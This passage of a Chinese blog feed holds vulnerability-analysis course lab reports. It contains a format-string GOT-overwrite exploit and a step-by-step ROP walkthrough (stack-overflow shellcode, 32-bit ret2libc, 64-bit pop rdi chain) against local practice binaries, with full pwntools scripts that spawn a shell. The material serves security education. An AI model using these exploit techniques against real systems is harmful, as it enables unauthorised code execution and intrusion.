class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level=&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_format</span>(<span class="params">addr, value</span>):</span><br><span class="line">        payload = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        print_count = <span class="number">0</span></span><br><span class="line">        addr_part = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">            <span class="keyword">if</span> (value &gt;&gt; (<span class="number">8</span>*i)) == <span class="number">0</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            one_byte = (value &gt;&gt; (<span class="number">8</span>*i)) &amp; <span class="number">0xff</span></span><br><span class="line">            payload += <span class="string">&#x27;%&#123;0&#125;c%&#123;1&#125;$hhn&#x27;</span>.<span class="built_in">format</span>((one_byte - print_count) % <span class="number">0x100</span>, <span class="number">19</span> + i)</span><br><span class="line">            print_count += (one_byte - print_count) % <span class="number">0x100</span> </span><br><span class="line">            addr_part += p32(addr + i)</span><br><span class="line">        payload = payload.ljust(<span class="number">48</span>, <span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">        payload += addr_part</span><br><span class="line">        <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line">p=process(<span class="string">&#x27;./format1&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">main = <span class="number">0x8048648</span></span><br><span class="line">exit_got = <span class="number">0x804a024</span></span><br><span class="line">puts_got = <span class="number">0x804A01C</span></span><br><span class="line">printf_got = <span class="number">0x804A014</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#overwrite exit_got with main</span></span><br><span class="line">p.recvuntil(<span class="string">&#x27;Welcome~\n&#x27;</span>)</span><br><span class="line">payload = generate_format(exit_got,main)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment">#leak system addr</span></span><br><span class="line">p.recvuntil(<span class="string">&#x27;Welcome~\n&#x27;</span>)</span><br><span class="line">payload = <span class="string">&#x27;%8$s&#x27;</span>+p32(puts_got)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">puts_addr = u32(p.recv(<span class="number">4</span>))</span><br><span class="line">sys_addr = puts_addr - (libc.symbols[<span class="string">&#x27;puts&#x27;</span>]-libc.symbols[<span class="string">&#x27;system&#x27;</span>])</span><br><span class="line">log.info(<span class="string">&#x27;puts:%#x&#x27;</span>%puts_addr)</span><br><span class="line">log.info(<span class="string">&#x27;sys:%#x&#x27;</span>%sys_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment">#overwrite printf_got with system</span></span><br><span class="line">p.recvuntil(<span class="string">&#x27;Welcome~\n&#x27;</span>)</span><br><span class="line"><span class="comment">#gdb.attach(p)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">payload = generate_format(printf_got,sys_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment">#binsh</span></span><br><span class="line">p.recvuntil(<span class="string">&#x27;Welcome~\n&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">&#x27;/bin/sh&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="脚本执行效果"><a href="#脚本执行效果" class="headerlink" title="脚本执行效果"></a>脚本执行效果</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/image-20231106160744451.png"                      alt="image-20231106160744451"                ></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="漏洞分析技术实验" scheme="http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
    
    <category term="PWN" scheme="http://example.com/tags/PWN/"/>
    
    <category term="漏洞分析技术实验" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>漏洞分析技术实验2：ROP技术基础</title>
    <link href="http://example.com/2023/10/10/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/"/>
    <id>http://example.com/2023/10/10/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/</id>
    <published>2023-10-09T17:05:06.000Z</published>
    <updated>2023-10-10T02:38:45.451Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="实验2：ROP技术基础"><a href="#实验2：ROP技术基础" class="headerlink" title="实验2：ROP技术基础"></a>实验2：ROP技术基础</h1><h2 id="1-实验环境"><a href="#1-实验环境" class="headerlink" title="1.实验环境"></a>1.实验环境</h2><p>Linux虚拟机（Ubuntu）</p><p>源文件（rop1.c）</p><div class="highlight-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="type">void</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> buf[<span class="number">128</span>];</span><br><span class="line">    read(<span class="number">0</span>,buf,<span class="number">256</span>);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    vuln();</span><br><span class="line">    write(<span class="number">1</span>,<span class="string">&quot;hello rop\n&quot;</span>,<span class="number">10</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="2-实验原理"><a href="#2-实验原理" class="headerlink" title="2.实验原理"></a>2.实验原理</h2><p>​ROP的全称为Return-oriented Programming（返回导向编程）<br>即计算机安全漏洞利用技术:<br>​绕过可执行空间保护、代码签名等安全保护机制执行恶意代码<br>​通过控制被调用的堆栈对程序的控制流进行劫持，完成某些特定功能<br>多与栈溢出漏洞结合利用:<br>​覆盖栈帧的返回地址和其他变量，将控制流转移到期望的地址中</p><h2 id="3-实验要求"><a href="#3-实验要求" class="headerlink" title="3.实验要求"></a>3.实验要求</h2><ol><li><p>针对实验一，通过gdb调试rop1，确定shellcode的地址；此外，通过rop1.py的调试脚本确定shellcode地址；最终拿到shell权限。相关详细分析过程写入报告，并比较两种方法的特点。</p></li><li><p>针对实验二的32位环境和64位环境，通过调试分析，完成实际rop2.py和rop3.py（预留有空白和错误之处），最终拿到shell权限。相关详细分析过程写入报告</p></li></ol><h2 id="4-实验过程"><a href="#4-实验过程" class="headerlink" title="4.实验过程"></a>4.实验过程</h2><h3 id="4-1-实验一：程序流的劫持"><a href="#4-1-实验一：程序流的劫持" class="headerlink" title="4.1 实验一：程序流的劫持"></a>4.1 实验一：程序流的劫持</h3><h4 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h4><p>关闭<strong>ASLR</strong>地址空间随机化</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo sh -c &quot;echo 0 &gt; /proc/sys/kernel/randomize_va_space&quot;</span><br></pre></td></tr></table></figure></div><p>对rop1.c进行编译，并关闭栈保护和NX保护。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack</span><br></pre></td></tr></table></figure></div><p><strong>checksec</strong>确定保护机制已关闭</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/./images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009163609783.png"                                     ></p><h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>​vuln( )函数中，buf数组的大小为128字节，但是在read时最多能够读入256字节，容易造成缓冲区溢出，利用这个漏洞对程序流进行劫持，执行构造好的payload。<br>​具体的思路是，把payload写入buf数组中，并利用缓冲区漏洞,将返回地址修改为buf数组的地址，vuln( )函数返回之后，就会到buf数组中执行恶意代码。</p><h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><h5 id="确定覆写返回地址的值"><a href="#确定覆写返回地址的值" class="headerlink" title="确定覆写返回地址的值"></a>确定覆写返回地址的值</h5><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gdb rop1</span><br><span class="line">disass vuln</span><br></pre></td></tr></table></figure></div><p>​运行 gdb，用其 pwndbg 插件对可执行文件 rop1 进行分析。disass vuln 为查看 vuln 函数的汇编指令。当然也可以拖入 ida 对其进行静态分析。</p><p>​payload中除了 shellcode 外，要填充足够长度以覆盖返回地址。Buf数组的地址为 ebp-0x88 ，即buf 距离 ebp 有0x88字节，ebp 距离返回地址又 0x4 字节（32位时），覆盖返回地址前先填充 0x8c 个字节。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009212231248.png"                      alt="image-20231009212231248"                ></p><h5 id="构造shellcode"><a href="#构造shellcode" class="headerlink" title="构造shellcode"></a>构造shellcode</h5><p>​pwntools中有一个shellcraft模块可生成shellcode，其中shellcraft.sh()就是生成执行&#x2F;bin&#x2F;sh的shellcode。<br>​再用asm()把shellcode转换为机器码。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009212609357.png"                      alt="image-20231009212609357"                ></p><h5 id="初步脚本"><a href="#初步脚本" class="headerlink" title="初步脚本"></a>初步脚本</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#执行rop1进程</span></span><br><span class="line">p = process(<span class="string">&#x27;./rop1&#x27;</span>)</span><br><span class="line"><span class="comment">#shellcode</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line"><span class="comment">#shellcode的地址暂且写为0xdeadbeef</span></span><br><span class="line">shellcode_addr = <span class="number">0xdeadbeef</span></span><br><span class="line"><span class="comment">#构造payload并发送</span></span><br><span class="line">payload = shellcode.ljust(<span class="number">0x8c</span>,<span class="string">&#x27;a&#x27;</span>)+p32(shellcode_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"><span class="comment">#进入交互模式</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h5 id="确定覆写返回地址的值-1"><a href="#确定覆写返回地址的值-1" class="headerlink" title="确定覆写返回地址的值"></a>确定覆写返回地址的值</h5><p>​Shellcode中要填充的长度解决了，要确定覆盖返回地址的内容，即将要覆盖为的buf数组的地址，在终端进行gdb调试程序，查看内存得到的地址和真正执行程序的地址是不一样的，gdb的调试环境会影响buf变量在内存中的地址。</p><h6 id="方法1：开启core-dump（用命令可开启）"><a href="#方法1：开启core-dump（用命令可开启）" class="headerlink" title="方法1：开启core dump（用命令可开启）"></a>方法1：开启core dump（用命令可开启）</h6><p>​脚本中我们将shellcode的地址暂时写入一个无意义的值，由于不存在返回地址为0xdeadbeef，当程序执行至此时会崩溃，当程序执行至此时会崩溃，在当前目录下会生成一个core文件。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009215247275.png"                      alt="image-20231009215247275"                ></p><p>​通过gdb查看core中包含的崩溃信息</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb ./rop1 core</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009222607346.png"                      alt="image-20231009222607346"                ></p><p>在崩溃的位置查看地址esp-0x90</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009222802523.png"                      alt="image-20231009222802523"                ></p><p>此时esp指针位于返回地址的下一个位置，因此buf的地址是esp-0x4-0x8c，即地址esp-0x90</p><p>buf的地址是0xffffd010，用这个地址替换脚本中的0xdeadbeef，执行脚本即获取shell。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009222835068.png"                      alt="image-20231009222835068"                ></p><h6 id="方法2：在脚本中进行gdb调试获取buf数组真实地址"><a href="#方法2：在脚本中进行gdb调试获取buf数组真实地址" class="headerlink" title="方法2：在脚本中进行gdb调试获取buf数组真实地址"></a>方法2：在脚本中进行gdb调试获取buf数组真实地址</h6><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#执行rop1进程</span></span><br><span class="line">p = process(<span class="string">&#x27;./rop1&#x27;</span>)</span><br><span class="line"><span class="comment">#开启gdb调试，并在vuln函数处设置断点</span></span><br><span class="line">gdb.attach(p,<span class="string">&#x27;b vuln&#x27;</span>)</span><br><span class="line"><span class="comment">#shellcode</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line"><span class="comment">#shellcode的地址暂且写为0xdeadbeef</span></span><br><span class="line">shellcode_addr = <span class="number">0xdeadbeef</span></span><br><span class="line"><span class="comment">#构造payload并发送</span></span><br><span class="line">payload = shellcode.ljust(<span class="number">0x8c</span>,<span class="string">&#x27;a&#x27;</span>)+p32(shellcode_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"><span class="comment">#进入交互模式</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><p>​利用 gdb.attach(p,’b vuln’) ，直接在脚本中进行gdb调试，弹出新的窗口后执行 c，让程序运行直到崩溃，在通过 x&#x2F;s $esp-090 查看buf的地址，此时查看到的地址就是真实的地址（同core dump调试一样）。</p><h5 id="最终脚本"><a href="#最终脚本" class="headerlink" title="最终脚本"></a>最终脚本</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p = process(<span class="string">&#x27;./rop1&#x27;</span>)</span><br><span class="line">gdb.attach(p,<span class="string">&#x27;b vuln&#x27;</span>)</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">shellcode_addr = <span class="number">0xdeadbeef</span></span><br><span class="line"><span class="comment">#shellcode_addr = 0xffffd010</span></span><br><span class="line">payload = shellcode.ljust(<span class="number">0x8c</span>,<span class="string">b&#x27;a&#x27;</span>)+p32(shellcode_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="4-2-实验二：ROP绕过NX保护"><a href="#4-2-实验二：ROP绕过NX保护" class="headerlink" title="4.2 实验二：ROP绕过NX保护"></a>4.2 实验二：ROP绕过NX保护</h3><h4 id="准备工作-32位"><a href="#准备工作-32位" class="headerlink" title="准备工作(32位)"></a>准备工作(32位)</h4><p>只开启Canary栈保护：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc rop1.c -o rop2 -m32 -fno-stack-protector </span><br></pre></td></tr></table></figure></div><p>查看rop2进程栈的权限为rw，不可执行。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009224414868.png"                      alt="image-20231009224414868"                ></p><p><strong>checksec</strong>确认：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009224740418.png"                      alt="image-20231009224740418"                ></p><h4 id="漏洞利用（32位）"><a href="#漏洞利用（32位）" class="headerlink" title="漏洞利用（32位）"></a>漏洞利用（32位）</h4><p>​不能在栈上执行shellcode，但程序中用到了libc库中的read和printf函数。libc.so中保存了大量的可用函数，考虑调用system(‘&#x2F;bin&#x2F;sh’)来获取shell。</p><p>​首先，通过print system 获得system地址（由于关闭了ASLR，system函数在内存中地址不会发生变化）。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gdb rop2</span><br><span class="line">b vuln</span><br><span class="line">r</span><br><span class="line">print system</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009225417247.png"                      alt="image-20231009225417247"                ></p><p>然后，获取字符串’&#x2F;bin&#x2F;sh’地址，libc.so中也包含了’&#x2F;bin&#x2F;sh’字符串。开启gdb，通过vmmap查看程序堆栈结构，并在libc.so的栈地址范围内寻找字符串‘&#x2F;bin&#x2F;sh’地址。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vmmap</span><br><span class="line">find 0xf7e06000,0xf7fb9000,&quot;/bin/sh&quot;</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009225943569.png"                      alt="image-20231009225943569"                ></p><h4 id="ROP构造（32位）"><a href="#ROP构造（32位）" class="headerlink" title="ROP构造（32位）"></a>ROP构造（32位）</h4><p>最终的payload就是</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">’a’*0x8c+p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)</span><br></pre></td></tr></table></figure></div><p>其中0xdeadbeef是system函数的返回地址，因为获取shell后没有别的操作了，就写一个0xdeadbeef作为返回地址。返回地址后面是system函数的参数，‘&#x2F;bin&#x2F;sh’的地址。</p><h4 id="攻击脚本（32位）"><a href="#攻击脚本（32位）" class="headerlink" title="攻击脚本（32位）"></a>攻击脚本（32位）</h4><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&#x27;./rop2&#x27;</span>)</span><br><span class="line">sys_addr = <span class="number">0xf7e40da0</span></span><br><span class="line">binsh_addr = <span class="number">0xf7f61a0b</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">0x8c</span> + p32(sys_addr)+p32(<span class="number">0xdeadbeef</span>)+p32(binsh_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009230538628.png"                      alt="image-20231009230538628"                ></p><h4 id="准备工作（64位）"><a href="#准备工作（64位）" class="headerlink" title="准备工作（64位）"></a>准备工作（64位）</h4><p>​64 位和32 位不同，64位中参数存放在寄存器中，多于6个参数才会放在栈上。</p><p>​只开启Canary栈保护： </p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gcc rop1.c -o rop3 -m64 -fno-stack-protector</span><br><span class="line">checksec --file=rop3</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009231315264.png"                      alt="image-20231009231315264"                ></p><h4 id="漏洞利用（64位）"><a href="#漏洞利用（64位）" class="headerlink" title="漏洞利用（64位）"></a>漏洞利用（64位）</h4><p>​由于参数不会直接放在栈上，需要寻找类似于 pop rdi;ret的gadget，将参数从栈中弹出到rdi寄存器后，返回到返回地址处继续执行。本例子在栈中事先压入参数’&#x2F;bin&#x2F;sh’地址和system地址。</p><p>​该实验将在栈中事先压入参数’&#x2F;bin&#x2F;sh’地址和system地址。首先同32位实验一样，找到系统中system函数地址以及’&#x2F;bin&#x2F;sh’存储地址，分别为0x7ffff7a52390和0x7ffff7b99d57，可以看出与32位系统中的地址值不同。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009231814206.png"                      alt="image-20231009231814206"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009232200537.png"                      alt="image-20231009232200537"                ></p><p>​查找gadget：借助ROPgadgets工具，在libc.so中查找可用的gadgets。先确定rop3使用的共享库。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009232335765.png"                      alt="image-20231009232335765"                ></p><p>​ROPgadgets查找结果如下，其中0x21102是相对于libc的偏移。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only &quot;pop|ret&quot;|grep rdi</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009232434619.png"                      alt="image-20231009232434619"                ></p><h4 id="ROP构造（64位）"><a href="#ROP构造（64位）" class="headerlink" title="ROP构造（64位）"></a>ROP构造（64位）</h4><p>​0x21102是这段指令片段相对于libc.so的偏移，我们用之前vmmap获取的libc.so首地址加上这个偏移，就得到了最终的地址。<br>​需要注意的是，64位系统编译出的buf地址也发生了改变，需要再次查看。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009233125124.png"                      alt="image-20231009233125124"                ></p><p>sys_addr和binsh_addr地址的获取和32位系统下方法一样，但是值发生了变化。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">p64(gadget_addr)+ p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)</span><br><span class="line">gadget_addr:vuln函数返回地址即 pop rdi;ret 指令的地址</span><br><span class="line">binsh_addr:弹入rdi中的字符串地址</span><br><span class="line">sys_addr:ret的返回地址</span><br><span class="line">0xdeadbeef:system函数返回地址</span><br></pre></td></tr></table></figure></div><h4 id="攻击脚本（64位）"><a href="#攻击脚本（64位）" class="headerlink" title="攻击脚本（64位）"></a>攻击脚本（64位）</h4><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&#x27;./rop3&#x27;</span>)</span><br><span class="line">sys_addr = <span class="number">0x7ffff7a52390</span></span><br><span class="line">binsh_addr = <span class="number">0x7ffff7b99d57</span></span><br><span class="line">pr_addr = <span class="number">0x7ffff7a0d000</span> + <span class="number">0x21102</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x88</span>+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(<span class="number">0xdeadbeef</span>)</span><br><span class="line">p.sendline(payload)</span><br><span 